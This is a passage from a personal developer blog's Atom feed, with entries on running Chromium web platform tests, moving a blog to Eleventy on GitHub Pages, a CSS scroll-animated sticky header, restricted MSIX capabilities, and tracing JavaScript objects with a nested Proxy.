&lt;p&gt;I had issues with my test sometimes failing but only on Mac. I hear that there are some reliabililty issues on specific Mac setups in the test lab and so I was recommended to allow for timeout from my tests on that group of Macs.&lt;/p&gt;
&lt;h2 id=&quot;command-line-summary&quot; tabindex=&quot;-1&quot;&gt;Command line summary &lt;a class=&quot;header-anchor&quot; href=&quot;https://deletethis.net/dave/2025-03/noobs-wpt-in-chromium-learnings/&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;run_wpt_tests:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Q:&#92;cr&#92;src&#92;third_party&#92;blink&#92;tools&#92;run_wpt_tests.bat -t Q:&#92;cr&#92;src&#92;out&#92;debug_x64  virtual/speculation-rules-prerender-target-hint/external/wpt/speculation-rules/prerender/protocol-handler-unregister.https.html --verbose --num-retries 0 --no-manifest-update -p chrome --repeat-each 20
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;run_web_tests:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Q:&#92;cr&#92;src&#92;third_party&#92;blink&#92;tools&#92;run_web_tests.bat -t Q:&#92;cr&#92;src&#92;out&#92;debug_x64  virtual/speculation-rules-prerender-target-hint/external/wpt/speculation-rules/prerender/protocol-handler-unregister.https.html --verbose --details --driver-logging --num-retries 0 --no-manifest-update --enable-per-test-tracing
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;run_web_tests param&lt;/th&gt;
&lt;th&gt;run_wpt_tests param&lt;/th&gt;
&lt;th&gt;notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--driver-logging&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--verbose&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;extra info and logging from tests and test infra. Includes chromium LOG statements&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--verbose --details&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;print extra info for every test result&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--num-retries 0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--num-retries 0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Don&#39;t retry failed tests&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--repeat-each 20&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--repeat-each 20&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Rerun every test 20 times&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--no-manifest-update&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;--no-manifest-update&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Don&#39;t rebuild test list (30s)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--enable-per-test-tracing&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;Generate pftrace files for the test run&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content>
	</entry>
	
	<entry>
		<title>Eleventy on GitHub Pages (Part 3)</title>
		<link href="https://deletethis.net/dave/2025-02/eleventy-on-github-pages--part-3-/"/>
		<updated>2025-02-02T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2025-02/eleventy-on-github-pages--part-3-/</id>
		<content type="html">&lt;p&gt;&lt;a href=&quot;https://deletethis.net/dave/2025-02/eleventy-on-github-pages--part-3-/eleventy-github-pages-part-2.md&quot;&gt;Previously&lt;/a&gt;, I made an Eleventy based GitHub project with GitHub automation to run Eleventy when checking in changes and hooked up a custom subdomain to the GitHub pages thinking I would start a new domain for the new blog. But I changed my mind again and now have my old URI pointing to the new blog:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;I made a &lt;a href=&quot;https://github.com/david-risney/blog/blob/main/feed-to-md.ps1&quot;&gt;PowerShell script&lt;/a&gt; to take my old blog&#39;s atom XML and turn them into post MD files for Eleventy. It was more difficult than I thought because my atom was not valid XML (eek). Rather than write code to fix it, it was easier to just edit the XML by hand to fix.&lt;/li&gt;
&lt;li&gt;I also customized my Eleventy URIs for blog posts to match my old blog&#39;s URIs. I added &lt;a href=&quot;https://github.com/david-risney/blog/blob/main/content/dave/post/post.11tydata.js&quot;&gt;post.11tydata.js files&lt;/a&gt; that setup the URI using custom JS functions. I define the functions in &lt;a href=&quot;https://github.com/david-risney/blog/blob/main/eleventy.config.js&quot;&gt;eleventy.config.js&lt;/a&gt; via &lt;code&gt;eleventyConfig.addFilter&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;That covered most of the static blog content. For the rest I made a new subdomain to point to the old server and added a &lt;a href=&quot;https://github.com/david-risney/blog/blob/main/content/404.md?plain=1&quot;&gt;custom 404 page&lt;/a&gt; that can help redirect to the old server. &lt;a href=&quot;https://docs.github.com/en/pages/getting-started-with-github-pages/creating-a-custom-404-page-for-your-github-pages-site&quot;&gt;GitHub Pages custom 404&lt;/a&gt; are supported by putting a 404.html in the root path.&lt;/li&gt;
&lt;li&gt;I followed GitHub&#39;s directions for hooking up a top level domain name which was just to make A and AAAA records pointing to the GitHub IP addresses. It took a bit to populate but then worked great.&lt;/li&gt;
&lt;li&gt;I forgot to update the CNAME file. Doing a push reset my domain for my github pages back to the previous name which no longer points to anything and broke the site. I fixed the content in the CNAME file to address the issue.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I&#39;m going to call this transition complete! Its so much easier to work with Eleventy to add posts and not have to worry about server upgrades breaking things. For the new web content I&#39;ve finished making a &lt;a href=&quot;https://deletethis.net/dave/2025-02/eleventy-on-github-pages--part-3-/css-scroll-animated-sticky-header.md&quot;&gt;sticky scroll animated header&lt;/a&gt; but still have thoughts for the future like a share button, and Mastodon based comments.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>CSS Scroll Animated Sticky Header</title>
		<link href="https://deletethis.net/dave/2025-01/css-scroll-animated-sticky-header/"/>
		<updated>2025-01-02T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2025-01/css-scroll-animated-sticky-header/</id>
		<content type="html">&lt;p&gt;I&#39;ve made a sticky header that scroll animates all using CSS. I&#39;m using the new &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/position?v=example#sticky&quot;&gt;&lt;code&gt;position: sticky&lt;/code&gt;&lt;/a&gt; to make my &lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt; stick to the top of the page as the user scrolls down. Then I&#39;m using &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_scroll-driven_animations&quot;&gt;&lt;code&gt;animation-timeline: scroll(root)&lt;/code&gt;&lt;/a&gt; to animate the header and its content shorter when scrolling down the page.&lt;/p&gt;
&lt;p&gt;The big issue I ran into was a circular dependency: the header animates shorter based on the scroll position, and the header becoming shorter changes the document height and accordingly the scroll position. This resulted in strange jumping around while scrolling.&lt;/p&gt;
&lt;p&gt;To resolve it I&#39;m adjusting the margin-bottom of the header so that the overall height including the margin remains the same.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  /* default size assuming scroll animation is not supported */
  #floatyHeader {
  	top: 0px;
  	position: sticky;
  	height: 4em;
  }

  /* setup scroll animation */
	#floatyHeader {
		animation: headerChange auto linear;
		animation-timeline: scroll(root);
	}

	@keyframes headerChange {
		0% { 
			height: 300px; 
			margin-bottom: 0px; 
		}
		15% { 
			height: 4em; 
      /* set the margin-bottom to the starting size minus the end size */
			margin-bottom: calc(300px - 4em);
		}
		100% { 
			height: 4em; 
			margin-bottom: calc(300px - 4em);
		}
	}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here&#39;s an &lt;a href=&quot;https://deletethis.net/dave/examples/sticky-scroll-animted-header.html&quot;&gt;example&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Eleventy on GitHub Pages (Part 2)</title>
		<link href="https://deletethis.net/dave/2024-05/eleventy-on-github-pages--part-2-/"/>
		<updated>2024-05-28T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2024-05/eleventy-on-github-pages--part-2-/</id>
		<content type="html">&lt;p&gt;&lt;a href=&quot;https://deletethis.net/dave/2024-05/eleventy-on-github-pages--part-2-/eleventy-github-pages.md&quot;&gt;Previously&lt;/a&gt;, I made an Eleventy based GitHub project with GitHub automation to run Eleventy when checking in changes. I stopped at that point because hooking in all my old blog&#39;s posts without changing their URIs sounded like a big pain, but now I&#39;ve decided to go ahead and just link from old blog to new blog and not try to move them.&lt;/p&gt;
&lt;p&gt;This time, I&#39;ve hooked up a custom subdomain (dave.deletethis.net) to the GitHub output which was surprisingly easy:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;GitHub has &lt;a href=&quot;https://docs.github.com/en/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain&quot;&gt;docs on using a custom subdomain&lt;/a&gt; which I followed mostly trouble free. The first step is in the GitHub project&#39;s Settings, Pages, Custom domain section to set your subdomain. However, this starts a domain check which fails because I haven&#39;t done the next step yet.&lt;/li&gt;
&lt;li&gt;I had to edit my DNS records. Previously I had some A records for &#39;*&#39; subdomains which I removed because I realized they weren&#39;t in use and added a CNAME record for subdomain &lt;code&gt;dave&lt;/code&gt; to &lt;code&gt;david-risney.github.io&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;After waiting a while (for the A record entries to expire) GitHub&#39;s domain check succeeded.&lt;/li&gt;
&lt;li&gt;In step 3 GitHub will check in a file named &lt;code&gt;CNAME&lt;/code&gt; to your &lt;code&gt;gh-pages&lt;/code&gt; branch for you. However, I&#39;m auto generating the contents of the &lt;code&gt;gh-pages&lt;/code&gt; branch from my &lt;code&gt;main&lt;/code&gt; branch. So I copy the &lt;code&gt;CNAME&lt;/code&gt; file to the &lt;code&gt;public&lt;/code&gt; folder. Eleventy will copy the contents of the public folder over directly.&lt;/li&gt;
&lt;li&gt;Now that I&#39;m using a custom domain I updated my &lt;code&gt;/eleventy.config.js&lt;/code&gt; file&#39;s pathPrefix property to &lt;code&gt;/&lt;/code&gt; since now the content is rooted at the root path of the domain rather than in a subfolder.&lt;/li&gt;
&lt;li&gt;I also updated &lt;code&gt;/_data/metadata.js&lt;/code&gt; to update the name of the blog and the URI of the blog.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After pushing all these changes I have my Eleventy GitHub blog running on a custom domain. In the future I need to update the template and see if I can start importing content from the old blog.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Eleventy on GitHub Pages</title>
		<link href="https://deletethis.net/dave/2023-01/eleventy-on-github-pages/"/>
		<updated>2023-01-27T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2023-01/eleventy-on-github-pages/</id>
		<content type="html">&lt;p&gt;I wanted to replace my existing blog solution with a simple markdown setup. I decided to give Eleventy a try and host it on GitHub Pages. Here are the steps I&#39;ve taken so far:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a new GitHub project using &lt;a href=&quot;https://github.com/11ty/eleventy-base-blog&quot;&gt;Elventy Base Blog&lt;/a&gt; as a project template.&lt;/li&gt;
&lt;li&gt;Used the yml from &lt;a href=&quot;https://www.rockyourcode.com/how-to-deploy-eleventy-to-github-pages-with-github-actions/&quot;&gt;How to deploy eleventy to github pages with github actions&lt;/a&gt; in a new file &lt;a href=&quot;https://github.com/david-risney/blog/blob/main/.github/workflows/build_eleventy.yml&quot;&gt;&lt;code&gt;.github/workflows/build_eleventy.yml&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;I updated some version numbers, and added a permissions contents write per the &lt;a href=&quot;https://github.com/peaceiris/actions-gh-pages#%EF%B8%8F-first-deployment-with-github_token&quot;&gt;peaceiris/actions-gh-pages help&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;I also made sure to create the &lt;code&gt;gh-pages&lt;/code&gt; branch.&lt;/li&gt;
&lt;li&gt;And in the GitHub project&#39;s Settings | Pages, set Source to &lt;code&gt;Deploy from a branch&lt;/code&gt; and Branch to &lt;code&gt;gh-pages&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Then I needed to &lt;a href=&quot;https://github.com/david-risney/blog/commit/583048de085a4dda89ef23f63b8a454ae889376a&quot;&gt;update the pathPrefix setting&lt;/a&gt; to &lt;code&gt;/blog/&lt;/code&gt; to match my project name.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;With this I&#39;ve got Eleventy mostly setup and running on GitHub with GitHub Pages to serve the blog and GitHub Actions to rebuild the site whenever I push. Next up, how do I find a better site layout? And after that, the much harder problem of can I move my existing blog content over to this? Maybe in the interim just merge this blog content into deletethis.net.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Restricted Capabilities and MSIX APIs</title>
		<link href="https://deletethis.net/dave/2022-09/restricted-capabilities-and-msix-apis/"/>
		<updated>2022-09-16T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2022-09/restricted-capabilities-and-msix-apis/</id>
		<content type="html">&lt;p&gt;SysInternals is in the Windows Store? This surprised me since last I knew you couldn&#39;t have admin-y utilities as appx packages in the Windows Store.&lt;/p&gt;
&lt;p&gt;Taking a look at their appxmanifest, you can see how they&#39;ve used restricted capabilities to get admin-like access to what they need. You can view the appxmanifest of any installed package using the &lt;code&gt;Get-AppxPackage&lt;/code&gt; PowerShell command and the &lt;code&gt;Get-AppxPackageManifest&lt;/code&gt; command:&lt;/p&gt;
&lt;pre class=&quot;language-powershell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;Get-AppxPackage&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;SysInternals* &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;Get-AppxPackageManifest&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Package&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Capabilities&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;OuterXml&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(After formatting the results for you dear reader)&lt;/p&gt;
&lt;pre class=&quot;language-xml&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-xml&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token namespace&quot;&gt;rescap:&lt;/span&gt;Capability&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;runFullTrust&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token namespace&quot;&gt;rescap:&lt;/span&gt;Capability&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;allowElevation&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token namespace&quot;&gt;rescap:&lt;/span&gt;Capability&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;unvirtualizedResources&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These three &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/uwp/packaging/app-capability-declarations#restricted-capabilities&quot;&gt;capabilities are all documented&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fullTrust&lt;/code&gt; is to run desktop apps from an msix package.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;allowElevation&lt;/code&gt; is to run your desktop app elevated.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;unvirtualizedResources&lt;/code&gt; is to skip the normal registry and disk virtualization that is usually done to help sandbox packaged apps and desktop apps from messing with one another.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But do mere mortals such as you or I get to use restricted capabilities and get your own admin utility app into the Store? The docs say &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/uwp/packaging/app-capability-declarations#restricted-capability-approval-process&quot;&gt;there is an approval process&lt;/a&gt; to use restricted capabilities in the Store so... maybe with extra scrutiny?&lt;/p&gt;
&lt;p&gt;However, the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/uwp/packaging/app-capability-declarations&quot;&gt;docs for &lt;code&gt;allowElevation&lt;/code&gt;&lt;/a&gt; are less encouraging:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We don&#39;t recommend that you declare this capability in applications that you submit to the Microsoft Store. In most cases, the use of this capability won&#39;t be approved.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;OK well, I appreciate the bluntness anyway. And elsewhere on that page it tries to steer me away&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note that you can sideload apps that declare restricted capabilities without needing to receive any approval. Approval is only required when submitting these apps to the Store.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So is it still useful to package my utility desktop app as MSIX if I&#39;m not going to put it in the Store? Yes!  There&#39;s a whole set of APIs that didn&#39;t exist last time I looked in this area. You can &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/msix/non-store-developer-updates&quot;&gt;check for and install updates to your MSIX app&lt;/a&gt;. And similar &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/msix/app-installer/installing-windows10-apps-web&quot;&gt;docs on installing your non-Store MSIX&lt;/a&gt; in the first place.&lt;/p&gt;
&lt;p&gt;(Incidentally that doc mentions how &lt;code&gt;ms-appinstaller:&lt;/code&gt; has been disabled. I&#39;d love to read more about what happened there but based on just the name of this URI scheme and my previous life working on URIs I&#39;ll make an educated guess.)&lt;/p&gt;
&lt;p&gt;I started looking into all this to see if I should move WebView2Utilities over to MSIX and seems like I really should. Although until I get a &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/msix/app-installer/installing-windows10-apps-web#signing-the-app-package&quot;&gt;proper code signing certificate&lt;/a&gt; seems like this isn&#39;t going to happen.&lt;/p&gt;
&lt;p&gt;(Unless I just tell folks to do something dangerous like run a .ps1 file off the github repo that gets the msix, extracts and trusts its cert, then installs the msix...)&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>404 Good News, Bad News</title>
		<link href="https://deletethis.net/dave/2022-09/404-good-news--bad-news/"/>
		<updated>2022-09-12T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2022-09/404-good-news--bad-news/</id>
		<content type="html">&lt;p&gt;So much has to go right to get a 404. Machines all over the world talking to each other over a surprisingly large number of protocols. It&#39;s almost a disservice to call it an error.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;404 Good News Bad News&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;When I make a browser, the default 404 page is going to be incredibly detailed:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Sorry we couldn&#39;t locate your resource, but a number of things went well to get you this far: DNS, TCP/IP connection, the Bombe helped crack Nazi encryption and win WW2, metallurgy invented before at least 5500BC, ...&lt;/p&gt;
&lt;/blockquote&gt;
</content>
	</entry>
	
	<entry>
		<title>Watch JavaScript via Proxy</title>
		<link href="https://deletethis.net/dave/2022-02/watch-javascript-via-proxy/"/>
		<updated>2022-02-24T00:00:00Z</updated>
		<id>https://deletethis.net/dave/2022-02/watch-javascript-via-proxy/</id>
		<content type="html">&lt;p&gt;JavaScript has a type &lt;code&gt;Proxy&lt;/code&gt; that lets you intercept all interactions with an object - all property reads, writes, method calls, and so on. One fun thing you can do with this is watch how JavaScript itself interacts with your objects.&lt;/p&gt;
&lt;p&gt;If we put a &lt;code&gt;Proxy&lt;/code&gt; in another &lt;code&gt;Proxy&lt;/code&gt; we can see how JavaScript uses our objects:&lt;/p&gt;
&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;trace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;obj&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Proxy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;obj&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Proxy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;br&gt;        &lt;span class=&quot;token function-variable function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;t&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; property&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;br&gt;            &lt;span class=&quot;token function&quot;&gt;logCall&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;bind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; name &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39; &#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; property&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Reflect&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;property&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; Reflect&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;logCall&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;description&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fn&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; fnThis&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;fnArgs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;        &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; r &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;fnThis&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;fnArgs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;        console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;description &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#92;n&#92;t&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;fnArgs&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;n  --&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;br&gt;        console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;description &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#92;n&#92;t&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;fnArgs&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;n  -fail-&gt;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;        &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;br&gt;    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;/code&gt;&lt;/pre&gt;
